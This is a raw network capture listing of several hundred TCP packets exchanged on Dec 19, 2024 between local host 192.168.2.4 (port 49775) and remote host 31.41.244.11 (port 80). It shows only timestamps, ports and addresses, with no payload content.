Dec 19, 2024 14:10:21.791804075 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.791847944 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.791882038 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.791908979 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.791914940 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.791940928 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.791949034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.791960001 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.792000055 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.792043924 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.793178082 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.793231010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.793241978 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.793267012 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.793308973 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.793317080 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.793349028 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.793873072 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.793924093 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.793987989 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.794797897 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.794831991 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.795675993 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.795723915 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.795775890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.795934916 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.796778917 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.796868086 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.796912909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.797518969 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.797564983 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.797615051 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.798388004 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.798537016 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.798588037 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.799278021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.799424887 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.799791098 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.800229073 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.800287008 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.800323009 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.801106930 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.801153898 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.801237106 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.802001953 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.802047968 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.802170992 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.802306890 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.802901983 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.802974939 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.803055048 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.804050922 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.804085970 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.804114103 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.804150105 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.804826021 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.804877043 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.804929018 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.805684090 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.805847883 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.805891991 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.806564093 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.806612015 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.806670904 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.806715012 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.807451963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.807571888 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.807617903 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.808448076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.808691025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.808737040 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.809246063 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.809393883 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.809437990 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.810149908 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.810312033 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.810358047 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.811110020 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.811218023 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.812037945 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.812088013 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.812154055 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.812154055 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.812196016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.812884092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.812947035 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.813023090 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.813086987 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.813786983 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.813945055 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.813992023 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.814661980 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.814714909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.814831972 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.814897060 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.815573931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.815649986 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.816462040 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.816489935 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.816575050 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.816622972 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.817401886 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.817739010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.817783117 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.818299055 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.818413019 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.818491936 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.819190025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.819232941 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.819310904 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.820135117 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.820178986 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.820228100 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.821072102 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.821114063 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.821192980 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.821723938 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.821907043 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.821964025 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.822133064 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.822216988 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.822752953 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.827028990 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.967628956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.967670918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.967710972 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.967768908 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.968009949 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.968122005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.968185902 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.968966007 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.969019890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.969078064 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.969774008 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.969896078 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.969953060 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.970700026 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.970876932 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.971657991 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.971716881 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.971754074 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.972589970 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.972647905 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.972692966 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.973438025 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.973488092 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.973490000 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.974334955 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.974385977 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.974458933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.974575996 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.975246906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.975477934 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.975527048 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.976087093 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.976248026 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.976294994 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.977072954 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.977124929 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.977176905 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.977969885 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.978111029 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.978161097 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.978786945 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.979036093 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.979116917 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.979726076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.979777098 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.979842901 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.979959011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.980726004 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.980761051 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.980796099 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.980813980 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.981544018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.981614113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.981692076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.981815100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.982475042 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.982569933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.982609987 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.982625961 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.983623028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.983810902 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.983918905 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.984493017 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.984616995 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.984667063 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.985464096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.985517025 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.985635042 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.985743999 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.986206055 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.986295938 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.986361027 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.987066031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.987380981 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.987437963 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.987967968 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.988002062 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.988044977 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.988060951 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.988933086 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.989052057 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.989300013 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.989784956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.989919901 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.989980936 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.990638018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.990693092 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.990758896 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.990813017 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.991504908 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.991568089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.991592884 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.992463112 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.992515087 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.992557049 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.993319035 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.993484020 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.993551970 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.994204998 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.994349957 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.994376898 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.994415998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.995378971 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.995430946 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.995474100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.996234894 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.996294022 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.996599913 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.996692896 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.997212887 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.997255087 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.997303963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.997386932 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.998032093 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.998383045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.998465061 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.998878002 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.999255896 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:21.999308109 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:21.999814987 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.000118971 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.000163078 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.000883102 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.001008987 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.001055956 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.001715899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.001825094 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.001873970 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.002686024 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.002731085 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.002851963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.002903938 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.003581047 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.003632069 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.003710985 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.003914118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.004658937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.004734993 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.004793882 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.005390882 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.005481005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.005537987 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.006047010 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.006133080 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.006182909 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.006926060 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.006988049 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.007477999 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.007535934 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.007781029 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.007882118 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.007932901 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.008166075 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.008831978 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.009021997 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.009177923 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.009789944 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.009851933 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.009915113 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.009968996 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.010742903 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.010795116 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.010812044 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.010952950 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.011449099 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.011502981 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.011507988 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.011548996 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.012284994 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.012355089 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.012401104 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.013199091 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.013283014 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.013315916 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.013451099 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.014142036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.014190912 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.014195919 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.014945030 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.014997005 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.159487963 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.159641981 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.159852982 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.159919977 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.159959078 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.160906076 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.160958052 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.160959005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.161659956 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.161709070 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.161778927 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.162163019 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.162585020 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.162678957 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.162728071 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.163480043 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.163589954 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.164412022 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.164464951 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.164530993 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.165355921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.165405989 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.165486097 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.166207075 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.166383982 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.166438103 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.166486025 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.167198896 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.167346954 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.167391062 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.168086052 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.168175936 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.168224096 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.168967962 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.169198990 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.169250011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.169877052 CET	80	49775	31.41.244.11	192.168.2.4
